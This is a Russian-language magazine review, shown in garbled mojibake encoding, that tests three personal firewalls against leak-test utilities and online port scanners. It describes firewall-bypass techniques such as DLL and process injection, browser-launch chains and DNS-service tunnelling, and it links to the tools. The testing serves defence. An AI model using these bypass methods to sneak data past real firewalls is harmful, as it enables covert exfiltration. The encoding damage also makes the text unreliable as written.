èíäóñòðèè: ZoneAlarm
Internet Security Suite

5.5.094, Kerio Personal Firewall 4.1.1 è
OutPost Firewall Pro 2.7. Âñå îíè ÿâëÿ-
þòñÿ ïåðñîíàëüíûìè ôàéðâîëàìè è
ïðåäñòàâëÿþò ñîáîé öåëûé íàáîð ðàç-
íîîáðàçíûõ ñðåäñòâ. Îáÿçàòåëüíûìè
â íèõ ÿâëÿþòñÿ ôóíêöèè çàùèòû
êîìïüþòåðà îò âíåøíèõ è âíóòðåííèõ
óãðîç, è ñåé÷àñ ìû óçíàåì, íàñêîëüêî
êà÷åñòâåííî îíè ðåàëèçîâàíû.

Òåñò áóäåò ñîñòîÿòü èç äâóõ îñíîâ-
íûõ ýòàïîâ: ïåðâûé � ýòî òåñò íà óñ-
òîé÷èâîñòü "èçíóòðè", òî åñòü íà ñïî-
ñîáíîñòü ïðîäóêòà êîíòðîëèðîâàòü
àêòèâíîñòü ïðèëîæåíèé íà ëîêàëüíîì
êîìïüþòåðå, à âòîðîé � íà óñòîé÷è-
âîñòü "ñíàðóæè". Íà ìîé âçãëÿä, ïåð-
âàÿ ÷àñòü ãîðàçäî âàæíåå, òàê êàê
âòîðàÿ â áîëüøåé ñòåïåíè çàâèñèò îò
ãðàìîòíîãî êîíôèãóðèðîâàíèÿ ìåæñå-
òåâîãî ýêðàíà. Íî ïðîâåðêà åñòü ïðî-
âåðêà, è åå íóæíî ïðîâîäèòü äîáðîñî-
âåñòíî. Èòàê, ïðèñòóïèì ê ýêçàìåíó.

À ×ÒÎ ÂÍÓÒÐÈ???
×óòü ëè íå ãëàâíàÿ çàäà÷à ïåðñî-

íàëüíûõ ôàéðâîëîâ � ýòî êîíòðîëü
ñåòåâîé àêòèâíîñòè ïðèëîæåíèé. Áëà-
ãîäàðÿ ýòîé ôèøêå òó÷è òðîÿíöåâ è
äðóãîé ãàäîñòè íå ïðåäñòàâëÿþò äëÿ
ïîëüçîâàòåëåé áðàíäìàóýðîâ íèêà-
êîé îïàñíîñòè. Íî òåìíàÿ ñòîðîíà ñè-
ëû íå äðåìëåò :), è åå àäåïòû ïðèäó-
ìûâàòü ðàçíûå õèòðûå ïðèåìû, ÷òîáû
ïîëó÷èòü äîñòóï ê èíòåðíåòó. Íà÷à-
ëàñü íàñòîÿùàÿ âîéíà.

×òîáû óçíàòü, íàñêîëüêî ôàéðâîë
ãîòîâ ê íåé, ìû âîñïîëüçóåìñÿ íåñ-
êîëüêèìè óòèëèòàìè, èìèòèðóþùèìè
ðàáîòó âñÿ÷åñêèõ âðåäîíîñíûõ ïðîã-
ðàìì ïðè ïîìîùè ðàçëè÷íûõ òåõíîëî-
ãèé. Íàñòðîéêè ñåòåâûõ ýêðàíîâ, ñâÿ-
çàííûå ñ "èñõîäÿùåé" çàùèòîé, áûëè
âûñòàâëåíû íà ìàêñèìóì, äàáû îïè-
ñàòü ïîëíóþ êàðòèíó èõ âîçìîæíîñ-
òåé. Òàêæå ïî óìîë÷àíèþ áðàóçåðó
áûëî ðàçðåøåíî îáðàùàòüñÿ â èíòåð-
íåò, òî åñòü ïðè åãî ïåðâîé ïîïûòêå
âûõîäà â Ñåòü ìû çàïîìèíàëè âûáîð

(èëè ñîçäàâàëè ïðàâèëî, êîìó êàê
áîëüøå íðàâèòñÿ).

Ïåðâûì èñïûòàíèåì ñòàëà ïðîãðàì-
ìêà ïî íàçâàíèå Leak Test
(http://grc.com/lt/leaktest.htm). Ýòî ïðîñòîé òåñò
íà ïîäñòàíîâêó. Äëÿ ïðîâåðêè íóæíî
ïðîñòî ïåðåèìåíîâàòü ýòó ïðîãðàì-
ìóëüêó â ïðèëîæåíèå, êîòîðîìó äîâå-
ðÿåò ñòåíà. Åñëè åé óäàñòñÿ óñòàíî-
âèòü ñîåäèíåíèå, òî ôàéðâîë - ïîë-
íûé ëîïóõ è íå äåëàåò íèêàêèõ ïðîâå-
ðîê ïîäëèííîñòè. Äðóãèìè ñëîâàìè,
òðîÿíåö ìîæåò çàïðîñòî ïðèêèíóòüñÿ
áðàóçåðîì, ïðîñòî íàçâàâ ñåáÿ åãî
èìåíåì. Âñå òðîå èñïûòóåìûõ óäà÷íî
ñïðàâèëèñü ñ ýòèì êîâàðíûì îáìàí-
ùèêîì è ðàñïîçíàëè èçìåíó.

Ñëåäóþùèì øàãîì áûëà óòèëèòà
TooLeaky (http://tooleaky.zensoft.com), êîòîðàÿ
îòíîñèòñÿ ê òèïó launcher. Ïðîãðàììà
çàïóñêàåò IE ñëåäóþùåé êîìàíäíîé
ñòðîêîé: iexplore.exe
http://grc.com/lt/leaktest.htm?PersonalInfoGoesHere. Îêíî
îñëà ñêðûòî, è ïîëüçîâàòåëü åãî íå
âèäèò. Åñëè TooLeaky óäàëîñü óäà÷íî
çàãðóçèòü áðîäèëêó è åé ðàçðåøåí
äîñòóï ê 80-ìó ïîðòó (÷òî ïî÷òè âñåã-
äà è áûâàåò), òî íà ñåðâåð GRC.com
ïîñûëàåòñÿ ñïåöèàëüíîå ñîîáùåíèå.
Åñëè áû ýòî áûë òðîÿíåö, òî îí ÿâíî
âîñïîëüçîâàëñÿ áû ýòèì ïî-äðóãîìó.
Çàäà÷à ôàéðâîëà â ýòîì òåñòå - íå äî-
ïóñòèòü çàïóñêà IE. È ýòî èñïûòàíèå
ïðîøëè âñå: ñðàçó æå çàñâåòèëîñü
îêîøêî, ãëàñÿùåå, ÷òî TooLeaky ïûòà-
åòñÿ çàïóñòèòü Internet Explorer.

Òåïåðü óñëîæíèì çàäàíèå. Äëÿ ýòî-
ãî íàì ïîíàäîáèòñÿ óòèëèòà FireHole
(http://keir.net/firehole.html). Îíà áüåò ñðàçó ïî
äâóì ìåñòàì â áåçîïàñíîñòè � ýòî è
ëàóí÷åð, è dll-èíæåêòîð. Óòèëèòà òîæå
èñïîëüçóåò ñòàíäàðòíûé áðàóçåð, íî
âíåäðÿåò â íåãî ñâîþ dll, à óæå ïîñëå
ýòîãî ïûòàåòñÿ óñòàíîâèòü ñâÿçü ñ
ñåðâåðîì. Åñëè ôàéðâîë íà÷èíàåò
âûêèäûâàòü òðåâîæíûå îêîøêè, âñå â
ïîðÿäêå. Â ïðîòèâíîì ñëó÷àå â îêíå
ïðîãðàììû ïîÿâèòñÿ íàäïèñü, ãîâîðÿ-
ùàÿ, ÷òî ñîîáùåíèå îòïðàâëåíî â
Ñåòü è ôàéðâîë íå ñïðàâèëñÿ ñ ïîñ-
òàâëåííîé çàäà÷åé. Óñòîé÷èâîñòü ê
ëàóí÷ó ìû óæå ïðîâåðÿëè, ïîýòîìó
òåñòèðîâàíèå ïðîâîäèëîñü ñ óæå ðà-
áîòàþùåé Opera. Ýòó ïðîâåðêó ïðîø-

ëè âñå� êðîìå îäíîãî. Êðîìå Outpost -
ñòðàííî. Íî íè÷åãî: ó íåãî åùå áóäåò
øàíñ èñïðàâèòüñÿ.

Äàëüøå ìû ïðîäîëæèì ìó÷èòü íà-
øè áåäíûå áðàíäìàóýðû ïðîãðàììîé
ïîä íàçâàíèåì YALTA èëè Yet
Another LeakTest Application
(www.soft4ever.com/security_test/En/index.htm), êîòîðàÿ
èìååò äâà òèïà òåñòîâ: êëàññè÷åñêèé è
ïðîäâèíóòûé. Êëàññè÷åñêèé îðèåíòè-
ðîâàí íà ïðîâåðêó ïðàâèë äîñòóïà ê
ïîðòàì ïî óìîë÷àíèþ, à ïðîäâèíóòûé
èñïîëüçóåò ñïåöèàëüíûé äðàéâåð,
÷òîáû ïîñûëàòü ïàêåòû ïðÿìî íà ñå-
òåâîé èíòåðôåéñ. Óäàëîñü îïðîáî-
âàòü òîëüêî ïåðâûé òåñò, òàê êàê âòî-
ðîé ðàáîòàåò òîëüêî ïîä 9x. Äëÿ ïðî-
âåðêè áûëè âûáðàíû ïîðòû, ðåêîìåí-
äîâàííûå ðàçðàáîò÷èêàìè ßËÒÛ (21,
53, 67, 1030, 5555). Åñëè ôàéðâîë çà-
ïèùèò íà êàæäóþ èç ïîïûòîê ïîñûë-
êè ïàêåòîâ, òî èñïûòàíèå ìîæíî ñ÷è-
òàòü ïðîéäåííûì óñïåøíî. Ýòî óäà-
ëîñü ñäåëàòü òîëüêî ZoneAlarm'ó.
Kerio ïîòåðïåë íåóäà÷ó íà 53 ïîðòó, à
Outpost ïðîïóñòèë ïàêåòû ê 53 è 67
ïîðòàì, íî ïðè îòïðàâêå äàííûõ íà 53
ïîðò ñîîáùèë î íåâåðíîì DNS-çàïðî-
ñå (êîíå÷íî, "Does it leak?" íèêàê íå
òÿíåò íà DNS-çàïðîñ).

Ñëåäóþùèì ïðåïÿòñòâèåì íà ïóòè
ôàéðâîëîâ ê ñîâåðøåíñòâó ñòàëè
pcAudit è pcAudit2 (www.pcinternetpatrol.com).
Îáå ïðîãðàììû ïðîâåðÿþò DLL injec-
tion, íî âòîðàÿ îòëè÷àåòñÿ îò ïåðâîé
òåì, ÷òî ïûòàåòñÿ ïîïàñòü íå òîëüêî â
explorer.exe, íî è âî âñå äðóãèå çàïó-
ùåííûå â äàííûé ìîìåíò ïðèëîæå-
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Ïðîâåðÿåì ßËÒÎÉ



íèÿ. È åñëè êîìó-íèáóäü èç íèõ ðàçðå-
øåí äîñòóï â Ñåòü, òî ïðè inject-óÿçâè-
ìîñòè çàãðóçèòñÿ ñòðàíè÷êà ñî ñïèñêîì
ôàéëîâ ïàïêè "Ìîè äîêóìåíòû" è
ñêðèíîì ýêðàíà (ýôôåêòíî, íåïðàâäà
ëè?). Îáà òåñòà ïðîâàëèë Kerio, íî
Outpost êàê ðàç ñïðàâèëñÿ. Ðåçóëüòàòû
î÷åíü ñòðàííûå: FireHole äåëàë òî æå
ñàìîå, à âûøëî ñîâñåì íàîáîðîò. Âîç-
ìîæíî, ìåòîäû âíåäðåíèÿ dll ðàçíûå.
Íî áóäåì ñ÷èòàòü, ÷òî Outpost èñïðà-
âèëñÿ. Äà, ÷óòü íå çàáûë: ZoneAlarm
âûäåðæàë âñå íàïàäåíèÿ ñ ÷åñòüþ.

Òåïåðü ïðîâåðèì ñåòåâûå ýêðàíû íà
process injection. Äëÿ ýòîãî âîñïîëü-
çóåìñÿ Thermite
(www.firewallleaktester.com/leaks/thermite.exe). Óòèëèòà
âíåäðÿåò ñâîé êîä íåïîñðåäñòâåííî â
àäðåñíîå ïðîñòðàíñòâî óäàëåííîãî
ïðîöåññà, ñîçäàâàÿ îòäåëüíûé ïîòîê.
Â ñëó÷àå óäà÷íîãî âíåäðåíèÿ è íåñðà-
áàòûâàíèÿ ôàéðâîëà, íà æåñòêîì äèñ-
êå, â äèðåêòîðèè ñ òåðìèòîì, ïîÿâëÿ-
åòñÿ ôàéë securityfocus.html. Kerio
ñíîâà ïðîâàëèë òåñò. Îñòàëüíûå ñïðà-
âèëèñü.

Copycat (http://mc.webm.ru) äåëàåò òî æå
ñàìîå, ÷òî è Thermite, íî íå ñîçäàåò
ïîòîê äëÿ ñâîåãî êîäà. Èñïûòàíèå
ïðîéäåíî óñïåøíî âñåìè.

Äàëåå â íàøåì àðñåíàëå ïîÿâëÿåò-
ñÿ Wallbreaker (www.firewallleaktester.com). Óòè-
ëèòà ïðîâîäèò ÷åòûðå òåñòà. Ïåðâûé
èñïîëüçóåò explorer.exe äëÿ âûçîâà
IE. Òàêèì îáðàçîì, ïîëó÷àåòñÿ, ÷òî
áðàóçåð çàïóñòèëà íå "âðåäîíîñíàÿ"
ïðîãðàììà, à ïðîâîäíèê, è â ñëó÷àå
äîâåðèÿ ê íåìó ñî ñòîðîíû ôàéðâîëà
èíôîðìàöèÿ ñ êîìïüþòåðà ïðîñî÷èò-
ñÿ â Ñåòü. Âòîðîå èñïûòàíèå ïî-õèòðî-
ìó çàïóñêàåò IE. Êàê ñêàçàë ðàçðàáîò-
÷èê, "Ýòî äîñòàòî÷íî èçâåñòíàÿ øóò-
êà, íî ìíîãèå firewalls íà íåé ïðîêàëû-
âàþòñÿ". Òðåòèé òåñò � ýòî ìîäèôèêà-
öèÿ ïåðâîãî, íî äëÿ âûçîâà IE îí èñ-

ïîëüçóåò ñëåäóþùóþ öåïî÷êó:
Wallbreaker.exe-> cmd.exe->
explorer.exe-> iexplore.exe. ×åòâåðòûé -
ðàñøèðåíèå òðåòüåãî òåñòà.
Wallbreaker, óñòàíîâèâøèé çàïëàíè-
ðîâàííóþ çàäà÷ó, èñïîëüçóåò AT.exe,
êîòîðûé â ñâîþ î÷åðåäü âûïîëíèò
çàäà÷ó ÷åðåç svchost. Öåïî÷êà òàêî-
âà: Wallbreaker.exe-> AT.exe->
svchost.exe-> cmd.exe-> explorer.exe->
iexplore.exe. Äëÿ äîáàâëåíèÿ çàäàíèÿ
ñîçäàåòñÿ bat-ôàéë ñ ïðîèçâîëüíûì
èìåíåì. ×òîáû òåñò ïîëíîöåííî ñðà-
áîòàë, íóæíî ÷òîáû ïëàíèðîâùèê çà-
äà÷ Windows áûë çàïóùåí. Ïðàâäà,
íè÷òî íå ìåøàåò ñäåëàòü ýòî êàêîé-
íèáóäü âðåäîíîñíîé ïðîãðàììå ñà-
ìîé. ×åòâåðòîå èñïûòàíèå ïðîâàëèëè
âñå, à Outpost óõèòðèëñÿ îñðàìèòüñÿ
íà âòîðîì.

Òåïåðü ìû ïîïðîáóåì ïðîâåðíóòü
ôîêóñ ñ ñàìîðåñòàðòèíãîì. Â ýòîì íàì
ïîìîæåò Ghost (www.firewallleaktester.com). Êîã-
äà ìû çàïóñêàåì êàêîå-íèáóäü ïðèëî-
æåíèå, äëÿ êîòîðîãî íå óñòàíîâëåíû
ïðàâèëà äîñòóïà â Ñåòü, ôàéðâîë ïðè
ïîìîùè WinAPI-ôóíêöèé ïîëó÷àåò
PID è èìÿ ïðîöåññà, ïðèîñòàíàâëèâàåò
åãî è ïðåäëàãàåò ïîëüçîâàòåëþ âûá-
ðàòü åãî äàëüíåéøóþ ñóäüáó. Ghost
æå, êàê òîëüêî ïåðåäàåò ñâåäåíèÿ î
ñåáå, ñðàçó "óáèâàåò" ñåáÿ è òóò æå
ñíîâà ñòàðòóåò. Çàòåì îí çàïóñêàåò IE
è ïåðåäàåò íà ñåðâåð óêàçàííóþ â íà-
÷àëå òåñòà ñòðîêó. Åñëè ôàéðâîë íå
ñëåäèò çà äî÷åðíèìè ïðîöåññàìè èëè
ïðîñòî íå óñïåâàåò ñðàáîòàòü âîâðå-
ìÿ, ìû áóäåì ëèöåçðåòü ñòðàíè÷êó ñ
íàïîëîâèíó çàòåðòûìè IP-àäðåñàìè
òàêèõ æå ñ÷àñòëèâûõ îáëàäàòåëåé ñå-
òåâûõ ýêðàíîâ. Ýòî ñåðüåçíîå èñïûòà-
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WIPFW - ýòî IPFW, êëîíèðîâàííûé ñ FreeBSD íà Windows! Ýòî ïà-
êåòíûé ôàéðâîë, îí ëåãêî íàñòðàèâàåòñÿ è êîíôèãóðèðóåòñÿ. Áè-
íàðíèê âåñèò âñåãî 224 Êá è ìîæåò ðàáîòàòü êàê ñëóæáà. Íî äëÿ
îáû÷íûõ ïîëüçîâàòåëåé îí íå ïîäîéäåò. Íåò, íå ïîòîìó ÷òî îí òà-
êîé êðóòîé è íàâîðî÷åííûé. Ïðîñòî îí íå îòñëåæèâàåò îáðàùåíèå
ïðèëîæåíèé ê Ñåòè, ÷òî â îïåðàöèîííûõ ñèñòåìàõ îò Microsoft ÿâ-
ëÿåòñÿ ñàìûì ãëàâíûì. WIPFW ïîäîéäåò äëÿ gateway'ÿ, åñëè ïîëü-
çîâàòåëÿì ìàëåíüêîé ëîêàëüíîé ñåòè íóæíî îòêðûòü/çàêðûòü äîñ-
òóï ê òåì èëè èíûì ïîðòàì.
Äëÿ òåõ, êîãî çàèíòåðåñîâàëà ýòà øòóêà, êðàòêî ðàññêàæó î íàñò-
ðîéêàõ. Ñêà÷èâàåì àðõèâ ñ áèíàðíèêàìè îòñþäà: wipfw.source-
forge.net. Çàòåì ðàñïàêîâûâàåì â êàêóþ-íèáóäü ïàïêó è çàïóñêàåì
install.cmd. Òåïåðü îí êðóòèòñÿ â ñèñòåìå êàê ñëóæáà. Äàëüøå íà-
õîäèì ôàéëèê rc.fw è íà÷èíàåì ïðàâèòü åãî. Êàê ñäåëàòü ýòî ïðà-
âèëüíî, ÷èòàåì çäåñü: www.hmug.org/man/8/ipfw.html. Èëè çäåñü:
virusinfo.info/archive/index.php/t-22452.html. Çàòåì çàïóñêàåì
init.cmd, è åñëè ïðè îáðàáîòêå êàêèõ-ëèáî ïðàâèë áûëè äîïóùåíû
îøèáêè, èäåì â rc.fw è ïðàâèì. Âîò è âñå. Ôàéðâîë ãîòîâ ê ðàáîòå.

WIPFW � ÊÓÑÎ×ÅÊ FREEBSD

Õèòðûå ïðîãðàììêè, áàëóþùèåñÿ ñ DLL
injection

Çëîñòíàÿ ïðîãðàììà CopyCat - íà íåå äàæå Àíòèâèðóñ Êàñïåðñêîãî ðóãàåòñÿ

Âîò ÷òî áûâàåò, åñëè ó òåáÿ äûðÿâûé firewall



íèå ïðîøëè âñå: è ZoneAlarm, è
Outpost, è Kerio Personal Firewall.

Ñëåäóþùàÿ ïðîãðàììà íàçûâàåòñÿ
DNS tester (www.klake.org/~jt/dnshell). Â îïåðà-
öèîííûõ ñèñòåìàõ w2k/WinXP èìååòñÿ
ñåðâèñ DNS-êëèåíòà, êîòîðûé âûïîë-
íÿåò âñå DNS-çàïðîñû. Ñàìî ñîáîé,
ôàéðâîë äîëæåí äîâåðÿòü ýòîé ñëóæ-
áå (svchost.exe) ïî óìîë÷àíèþ, èíà÷å
äëÿ ñåðôèíãà íàì ïðèøëîñü áû çàïî-
ìèíàòü íå èìåíà ñàéòîâ òèïà
www.xakep.ru, à èõ IP-àäðåñà. DNS
tester èñïîëüçóåò ýòó ñëóæáó, ÷òîáû
ïåðåäàòü äàííûå íà ñåðâåð (âîâñå íå
DNS). Òðîÿíöû âïîëíå ìîãóò ïîñëàòü
ïàðîëè è åùå ÷òî-íèáóäü ñâîåìó õî-
çÿèíó. Êàê íè ïðîñòà è íè îïàñíà òà-
êàÿ èäåÿ, ñîïðîòèâëÿòüñÿ ïðîãðàììå,
ðåàëèçóþùåé åå, ñìîã òîëüêî
ZoneAlarm.

Ïîñëåäíåé âíóòðåííåé ïðîâåðêîé
ñòàë Surfer
(www.firewallleaktester.com/leaks/surfer.exe). Óòèëèòà
ñîçäàåò ñêðûòûé äåñêòîï, çàòåì çà-
ïóñêàåò â íåì IE, íå ïåðåäàâàÿ åìó íè-
êàêîãî url'à. Ïîñëå ýòîãî ñòàðòóåò íî-
âàÿ êîïèÿ IE, à ïåðâàÿ óíè÷òîæàåòñÿ.
Ïðîòîêîë url ïåðåäàåòñÿ ÷åðåç DDE
íîâîé êîïèè áðàóçåðà. Âñå ýòè õèòðûå
ìàíèïóëÿöèè áûëè ñäåëàíû ïîòîìó,
÷òî ìíîãèå ôàéâîëû êîíòðîëèðóþò
ïðÿìîé âûçîâ ShellExecute èëè
CreateProcess. Êàê îêàçàëîñü, íå çðÿ
ìó÷èëèñü àâòîðû óòèëèòû: Outpost çà-
âàëèë ôèíàëüíûé ýêçàìåí, à Kerio è
ZoneAlarm óñòîÿëè.

Èòàê, âñå òåñòû ïðîéäåíû, è äëÿ
îêîí÷àòåëüíîãî ïðîÿñíåíèÿ êàðòèíû
âíóòðåííåé áåçîïàñíîñòè ïðåäëàãàþ
ïîñìîòðåòü íà òàáëèöó, â êîòîðîé ñâå-
äåíû ðåçóëüòàòû âñåõ òåñòîâ èñïûòó-
åìûõ ýêðàíîâ.

Áåññïîðíûì ëèäåðîì îáúÿâëÿåì
ZoneAlarm Security Suite. Kerio è
Outpost - ïðèìåðíî íà ðàâíûõ. Îäíàêî
ñòîèò îáðàòèòü âíèìàíèå íà òî, ÷òî
Kerio ïðàêòè÷åñêè ñîâåðøåííî íå óñ-
òîé÷èâ ê inject'ó, à ó Outpost'à, õîòü îí
è ïðîâàëèâàëñÿ íà íåêîòîðûõ òåñòàõ,
íå íàáëþäàëîñü íèêàêèõ òåíäåíöèé ê
íåóäà÷àì.

À ×ÒÎ ÑÍÀÐÓÆÈ???
Ñëåäóþùèì ýòàïîì ïðîâåðêè íà-

øèõ ôàéðâîëîâ áóäåò ñêàíèðîâàíèå
ïîðòîâ. Ïîâòîðþñü, ÷òî óñïåõ â ïðå-
îäîëåíèè ýòîãî èñïûòàíèÿ çàâèñèò â
áîëüøåé ñòåïåíè îò ïîëüçîâàòåëÿ, à
íå îò ñåòåâîãî ýêðàíà, ïîñêîëüêó
âñåãäà åñòü âîçìîæíîñòü íàñòðîèòü
ïðàâèëà äîñòóïà ê ïîðòàì íàñòîëüêî
êðèâî, ÷òî ëþáîé ÷óòü ãðàìîòíûé õà-
êåð ïîëîìàåò ñèñòåìó çà ïÿòü ìèíóò.
Ïîýòîìó äëÿ ÷èñòîòû ýêñïåðèìåíòà
áûëè îñòàâëåíû íåòðîíóòûìè íàñò-
ðîéêè, îòâå÷àþùèå çà äîñòóï ê ìàøè-

íå èçâíå. Ìíîãèå ðàçðàáîò÷èêè êîí-
ôèãóðèðóþò ñâîè ïðîäóêòû ïî óìîë-
÷àíèþ òàê, ÷òîáû ñðàçó ïîñëå èíñòàë-
ëÿöèè èìè ìîæíî áûëî ïîëüçîâàòü-
ñÿ. Ïî èõ ìíåíèþ, ñòàíäàðòíàÿ êîí-
ôèãóðàöèÿ ïîäõîäèò áîëüøèíñòâó
ïîëüçîâàòåëåé.

Òåïåðü âûáåðåì èíñòðóìåíòû äëÿ
ïðîâåðêè. Ïåðâûé ïîïàâøèéñÿ ìíå
îíëàéí-ñêàíåð ðàñïîëàãàëñÿ íà
www.pcflank.com. Ñîáñòâåííî, íà ýòîì ñàéòå
ñîáðàíî øåñòü òåñòîâ, ïîçâîëÿþùèõ
èñïûòàòü çàùèòó êîìïüþòåðà â Ñåòè
ñî âñåõ ñòîðîí. Ïåðâûé èç íèõ � ýòî
Stealth Test. Îí ïðîâåðÿåò ìàøèíó íà
"âèäèìîñòü" â èíòåðíåòå. Äëÿ ýòîãî
èñïîëüçóþòñÿ òàêèå òåõíîëîãèè ñêà-
íèðîâàíèÿ, êàê TCP ping, TCP NULL,
TCP FIN, TCP XMAS è UDP scanning.

Âòîðàÿ îíëàéí-óòèëèòà ïðåäñòàâëÿåò
ñîáîé ïðîäâèíóòûé ñêàíåð ïîðòîâ. Îí
èìååò äîâîëüíî ìíîãî íàñòðîåê: òåõ-
íèêà ñêàíà (TCP connect èëè TCP
SYN), âûáîð äèàïàçîíà ïîðòîâ è äð.
Åùå îäèí èíñòðóìåíò äëÿ ïðîâåðêè
privacy � áðàóçåð ñêàíåð. Îí ïðîâåðÿ-
åò, ñêîëüêî ïåðñîíàëüíîé èíôîðìà-
öèè îòñûëàåò îáîçðåâàòåëü èíòåðíå-
òà :) íà óäàëåííûé ñåðâåð. Åùå èìååò-
ñÿ òåñò íà òðîÿíöû è ýêñïëîéò-òåñò.
Ìû áóäåì èñïîëüçîâàòü Quick test, êî-
òîðûé âêëþ÷àåò â ñåáÿ ïðîäâèíóòûé
ñêàí ïîðòîâ, áðàóçåð-òåñò è òðîÿí-
òåñò, îäíàêî, çàìå÷ó, äëÿ íàøåé çàäà-
÷è ïîäîøåë áû è ïðîñòîé ñêàí ïîð-
òîâ, òàê êàê òðîÿíöåâ íà ìîåé ìàøèíå
íåò, à ïðîâåðÿòü áðîäèëêó íå âõîäèò â
ïîñòàâëåííóþ çàäà÷ó. Èòàê, âûáèðàåì
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www.firewallleaktester.com/tests.htm - âåñüìà æåñòêèé òåñò
ôàéðâîëîâ íà "òå÷è"

http://security.symantec.com/default.asp?productid=
symhome&langid=ie&venid=sym � îíëàéí-òåñò ôàéðâîëà íà îòêðû-
òûå ïîðòû

www.infotecs.ru/terminet/grc.htm - åùå îäèí ïîäîáíûé òåñò
www.dslreports.com/scan - è åùå îäèí
www.firewall-nnet.com - õîðîøèé ñàéò ñ òåñòàìè è ïîìîùüþ ïî óñ-

òàíîâêå (àíãëèéñêèé)
www.pcflank.com/art41c.htm - Personal Firewalls vs. Leak Tests,

òåñòû ïîïóëÿðíûõ ñòåíîê (àíãëèéñêèé)
www.agnitum.com/php_scripts/compare2.ru.php - òàáëèöà, êîòî-

ðàÿ ïîêàçûâàåò ýôôåêòèâíîñòü Outpost â ñðàâíåíèè ñ äðóãèìè
ïåðñîíàëüíûìè áðàíäìàóýðàìè (ñîñòàâëåíà ðàçðàáîò÷èêàìè
Outpost)

ÑÑÛËÊÈ ÏÎ ÒÅÌÅ

Ðåçóëüòàòû Outpost'à íà PCFlank

Òàáëèöà ñ ðåçóëüòàòàìè òåñòîâ íà "òå÷è"

LLEEAAKKTTEESSTT TTOOOOLLEEAAKKYY FFIIRREEHHOOLLEE YYAALLTTAA PPCCAAUUDDIITT PPCCAAUUDDIITT 22 TTHHEERRMMIITTEE CCOOPPYYCCAATT WWAALLLL BBRREEAAKKEERR GGHHOOSSTT DDNNSS tteesstteerr SSuurrffeerr

ZoneAlarm + + + +/+/+/+/+ + + + + +/+/+/- + + +

Kerio Personal
Firewall

+ + + +/-/+/+/+ - - - + +/+/+/- + - +

Outpost Firewall + + - +/-/-/+/+ + + + + +/-/+/- + - -



ññûëêó Quick test, ÷èòàåì ïîäðîáíîñòè
òåñòà, æìåì êíîïî÷êó Start test è
æäåì íåêîòîðîå âðåìÿ â çàâèñèìîñòè
îò ñêîðîñòè ñîåäèíåíèÿ ñ Ñåòüþ,
îáû÷íî íå áîëüøå òðåõ ìèíóò. Òîìè-
òåëüíûå ñåêóíäû ïðîøëè, è ÷òî æå
ìû âèäèì? Òåñò íà òðîÿíöû ïðîøëè
âñå ôàéðâîëû (åùå áû!), ñî ñêàíèðî-
âàíèåì ïîðòîâ òîæå ñïðàâèëèñü âñå,
à privacy check "íà ïÿòü" íå ñäàë íèê-
òî. Outpost áûë õóæå âñåõ, íî åñòü ïî-
äîçðåíèå, ÷òî ýòî ëåãêî ëå÷èòñÿ ãðà-
ìîòíîé íàñòðîéêîé.

ß íå ñòàë çàäåðæèâàòüñÿ íà ýòîì ðå-
ñóðñå äîëüøå è ïîøåë èñêàòü åùå
÷òî-íèáóäü, ÷åì ìîæíî ïðîâåðèòü íà-
øè ýêñïîíàòû. È, êàê íè ñòðàííî, íà-
øåë. http://scan.sygate.com - îíëàéí-ñåðâèñû
äëÿ ïðîâåðêè ñåòåâûõ ýêðàíîâ, ïðè-
÷åì îò ïðîèçâîäèòåëÿ îäíîãî èç íèõ,
ê ñîæàëåíèþ, íå âêëþ÷åííûõ â ýòîò
îáçîð. Íàì ñõîäó ïðåäëàãàåòñÿ ïðîé-
òè ïðîâåðêó, êîòîðàÿ ñîáåðåò íåêîòî-
ðóþ èíôîðìàöèþ î ìàøèíå è ïîïðî-
áóåò ïðîñêàíèòü ïîðòû. Æìåì íà êíî-
ïî÷êó Scan now è æäåì; ÷åðåç íåñ-
êîëüêî ñåêóíä çàãðóæàåòñÿ ñòðàíè÷-

êà, íà êîòîðîé, êðîìå âåðñèè áðàóçåðà
è îïåðàöèîííîé ñèñòåìû, íè÷åãî íåò.
Òåñò íå îïðåäåëèë èìÿ êîìïüþòåðà è
çàïóùåííûå ñåðâèñû, çíà÷èò, ôàéð-
âîëû ñïðàâèëèñü.

Íî íà ýòîì ÿ íå óñïîêîèëñÿ è ðåøèë
ïîïðîáîâàòü Stealth scan. Ýòîò òèï
ïðîâåðêè ñêàíèðóåò ïîðòû ñëåäóþ-
ùèõ ñëóæá: FTP DATA � 20, FTP � 21,
SSH � 22, SMTP � 25, NetBIOS � 139,
Server Message Block � 445 è äð. Çäåñü
âñå ñïðàâèëèñü "íà îòëè÷íî", âñå ïîð-
òû áûëè æåñòêî çàáëîêèðîâàíû.

Äëÿ òîãî ÷òîáû ïîëíîñòüþ óáåäèòü-
ñÿ â ñèëå ñòàíäàðòíûõ íàñòðîåê, ÿ îòï-
ðàâèëñÿ íà www.hackerwatch.org. Çäåøíèé íà-
áîð òåñòîâ íå òàê ìíîãîîáðàçåí, êàê íà
ïðåäûäóùèõ ðåñóðñàõ, íî ïîðò-ñêàíåð
åñòü. Èì ìû è âîñïîëüçóåìñÿ. Æìåì
íà ñîîòâåòñòâóþùóþ ïèìïî÷êó è âè-
äèì, ÷òî îí ïðîâåðÿåò âñå òå æå ïîðòû
ðàçíûõ ñåðâèñîâ, è âñå èñïûòóåìûå
ôàéðâîëû òàêæå óäà÷íî ñïðàâèëèñü ñ
ýòèì çàäàíèåì.

Íà ýòîì ÿ ðåøèë îñòàíîâèòüñÿ. ßñ-
íî, ÷òî ïåðñîíàëüíûå ôàéðâîëû
ñïðàâëÿþòñÿ ñ âíåøíèìè óãðîçàìè ãî-
ðàçäî ëó÷øå, ÷åì ñ âíóòðåííèìè. Âñå
ïðîäóêòû ïîêàçàëè âûñîêèé óðîâåíü
çàøèòû êîìïüþòåðà îò ñåòåâûõ àòàê è
ñêàíèðîâàíèÿ.

ÏÎÄÂÅÄÅÍÈÅ ÈÒÎÃÎÂ
Âîò ìû è ïðîâåëè ïðîâåðêó îñíîâ-

íûõ ôóíêöèé ïåðñîíàëüíîãî ôàéðâî-
ëà. Âñå ðàçðàáîò÷èêè çàÿâëÿþò, ÷òî
èõ ïðîäóêòû ìîãóò òî è òî, íî íå ãîâî-
ðÿò, íàñêîëüêî êà÷åñòâåííî ðåàëèçî-
âàíû ýòè âîçìîæíîñòè. Íåñêîëüêî
ëåò íàçàä òåñòû íà "òå÷è" ïðîâàëèëè
áû ïðàêòè÷åñêè âñå áðàíäìàóýðû.
Òîãäà âîðîòèëû security-èíäóñòðèè
ïðîñòî äåëàëè âèä, ÷òî òàêèõ ïðîá-
